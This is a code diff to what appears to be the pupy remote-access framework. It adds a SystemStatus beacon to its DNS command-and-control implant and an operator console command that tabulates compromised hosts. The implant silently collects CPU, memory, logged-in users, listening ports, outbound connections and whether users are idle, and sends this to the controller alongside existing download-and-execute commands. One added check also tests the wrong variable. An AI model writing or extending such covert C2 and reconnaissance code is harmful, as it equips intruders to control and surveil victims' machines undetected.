diff --git a/pupy/network/lib/picocmd/client.py b/pupy/network/lib/picocmd/client.py index d50b60d2..63cedb4f 100644 --- a/pupy/network/lib/picocmd/client.py +++ b/pupy/network/lib/picocmd/client.py @@ -259,7 +259,11 @@ class DnsCommandsClient(Thread): pass def process(self): - commands = list(self._request(Poll())) + if self.spi: + commands = list(self._request(SystemStatus())) + else: + commands = list(self._request(Poll())) + logging.debug('commands: {}'.format(commands)) ack = self._request(Ack(len(commands))) if not ( len(ack) == 1 and isinstance(ack[0], Ack)): @@ -286,6 +290,10 @@ class DnsCommandsClient(Thread): if not len(response) == 1 and not isinstance(response[0], Ack): logging.error('SystemInfo: ACK expected but {} found'.format( response)) + ack = self._request(SystemStatus()) + if not len(response) == 1 and not isinstance(response[0], Ack): + logging.error('SystemInfo: ACK expected but {} found'.format( + response)) elif isinstance(command, PasteLink): self.on_pastelink(command.url, command.action, self.encoder) elif isinstance(command, DownloadExec): diff --git a/pupy/network/lib/picocmd/picocmd.py b/pupy/network/lib/picocmd/picocmd.py index c6267795..b270ec35 100644 --- a/pupy/network/lib/picocmd/picocmd.py +++ b/pupy/network/lib/picocmd/picocmd.py @@ -15,6 +15,7 @@ import urlparse import StringIO import socket import psutil +import os def from_bytes(bytes): return sum(ord(byte) * (256**i) for i, byte in enumerate(bytes)) @@ -46,6 +47,103 @@ class Poll(Command): def __repr__(self): return '{POLL}' +class SystemStatus(Command): + @staticmethod + def unpack(data): + return SystemStatus(*struct.unpack_from('BBBBBB', data)), 6 + + def __init__(self, cpu=None, users=None, mem=None, listen=None, remote=None, idle=None): + if cpu is None: + try: + self.cpu = int(psutil.cpu_percent()) + except: + self.cpu = 0 + else: + self.cpu = int(cpu) + + if users is None: + try: + self.users = len(set([ x.name for x in psutil.users()])) + except: + self.users = 0 + else: + self.users = int(users) + + if self.users > 255: + self.users = 255 + + if mem is None: + try: + self.mem = int(psutil.virtual_memory().percent) + except: + self.mem = 0 + else: + self.mem = int(mem) + + if listen is None: + try: + self.listen = len(set([ + x.laddr[1] for x in psutil.net_connections() if x.status=='LISTEN' + ])) + except: + self.listen = 0 + else: + self.listen = int(listen) + + if self.listen > 255: + self.listen = 255 + + if remote is None: + try: + self.remote = len(set([ + x.raddr for x in psutil.net_connections() \ + if x.status=='ESTABLISHED' and x.raddr[0] not in ( + '127.0.0.1', '::ffff:127.0.0.1' + ) + ])) + + except Exception, e: + self.remote = 0 + else: + self.remote = int(remote) + + if self.remote > 255: + self.remote = 255 + + if idle is None: + try: + self.idle = min( + time.time() - os.stat( + '/dev/{}'.format(x.terminal) + ).st_atime for x in psutil.users() if x.terminal + ) > 60*10 + except: + self.idle = True + else: + self.idle = bool(idle) + + def get_dict(self): + return { + 'cpu': self.cpu, + 'mem': self.mem, + 'listen': self.listen, + 'remote': self.remote, + 'users': self.users, + 'idle': self.idle + } + + def pack(self): + return struct.pack( + 'BBBBBB', + self.cpu, self.users, self.mem, + self.listen, self.remote, self.idle + ) + + def __repr__(self): + return ('{{SS: CPU:{cpu}% MEM:{mem}% L:{listen} ' + \ + 'E:{remote} U:{users} I:{idle}}}').format(**self.get_dict()) + + class Ack(Command): def __init__(self, amount=0): self.amount = amount @@ -590,7 +688,7 @@ class Parcel(object): commands = [ Poll, Ack, Policy, Idle, Kex, Connect, PasteLink, SystemInfo, Error, Disconnect, Exit, - Sleep, Reexec, DownloadExec, CheckConnect + Sleep, Reexec, DownloadExec, CheckConnect, SystemStatus ] commands_decode = dict(enumerate(commands)) diff --git a/pupy/network/lib/picocmd/server.py b/pupy/network/lib/picocmd/server.py index 8397afbe..e2b42633 100644 --- a/pupy/network/lib/picocmd/server.py +++ b/pupy/network/lib/picocmd/server.py @@ -32,6 +32,7 @@ class Session(object): self._last_access = 0 self._timeout = timeout self.system_info = None + self.system_status = None self.commands = commands self.last_nonce = None self.last_qname = None @@ -354,10 +355,15 @@ class DnsCommandServerHandler(BaseResolver): return [Exit()] - elif isinstance(command, Poll) and (session is not None): + elif ( + isinstance(command, Poll) or isinstance(command, SystemStatus) + ) and (session is not None): if session.system_info: self.on_keep_alive(session.system_info) + if isinstance(command, SystemStatus): + session.system_status = command.get_dict() + commands = session.commands return commands diff --git a/pupy/pupylib/PupyCmd.py b/pupy/pupylib/PupyCmd.py index 415af5f0..7b9ee159 100644 --- a/pupy/pupylib/PupyCmd.py +++ b/pupy/pupylib/PupyCmd.py @@ -831,6 +831,8 @@ class PupyCmd(cmd.Cmd): status = commands.add_parser('status', help='DNSCNC status') clist = commands.add_parser('list', help='List known DNSCNC clients') + info = commands.add_parser('info', help='List known DNSCNC clients system status') + policy = commands.add_parser('set', help='Change policy (polling, timeout)') policy.add_argument('-p', '--poll', help='Set poll interval', type=int) policy.add_argument('-k', '--kex', type=bool, help='Enable KEX') @@ -897,6 +899,44 @@ class PupyCmd(cmd.Cmd): '{:03d} {}'.format(i, cmd) for i, cmd in enumerate(self.dnscnc.commands) ])) + elif args.command == 'info': + sessions = self.dnscnc.list() + if not sessions: + self.display_success('No active DNSCNC sesisons found') + return + + objects = [] + + for idx, session in enumerate(sessions): + if not ( session.system_status and session.system_info ): + continue + + objects.append({ + '#': '{:03d}'.format(idx), + 'NODE': '{:012x}'.format(session.system_info['node']), + 'SESSION': '{:08x}'.format(session.spi), + 'IP': ', '.join(self.dnscnc.host), + 'OS': '{}/{}'.format( + session.system_info['os'], + session.system_info['arch'] + ), + 'CPU': '{:d}%'.format(session.system_status['cpu']), + 'MEM': '{:d}%'.format(session.system_status['mem']), + 'LIS': '{:d}'.format(session.system_status['listen']), + 'EST': '{:d}'.format(session.system_status['remote']), + 'USERS': '{:d}'.format(session.system_status['users']), + 'IDLE': '{}'.format(session.system_status['idle']), + }) + + columns = [ + '#', 'NODE', 'SESSION', 'IP', 'OS', + 'CPU', 'MEM', 'LIS', 'EST', 'USERS', 'IDLE' + ] + + self.display( + PupyCmd.table_format(objects, wl=columns) + ) + elif args.command == 'list': sessions = self.dnscnc.list() if not sessions: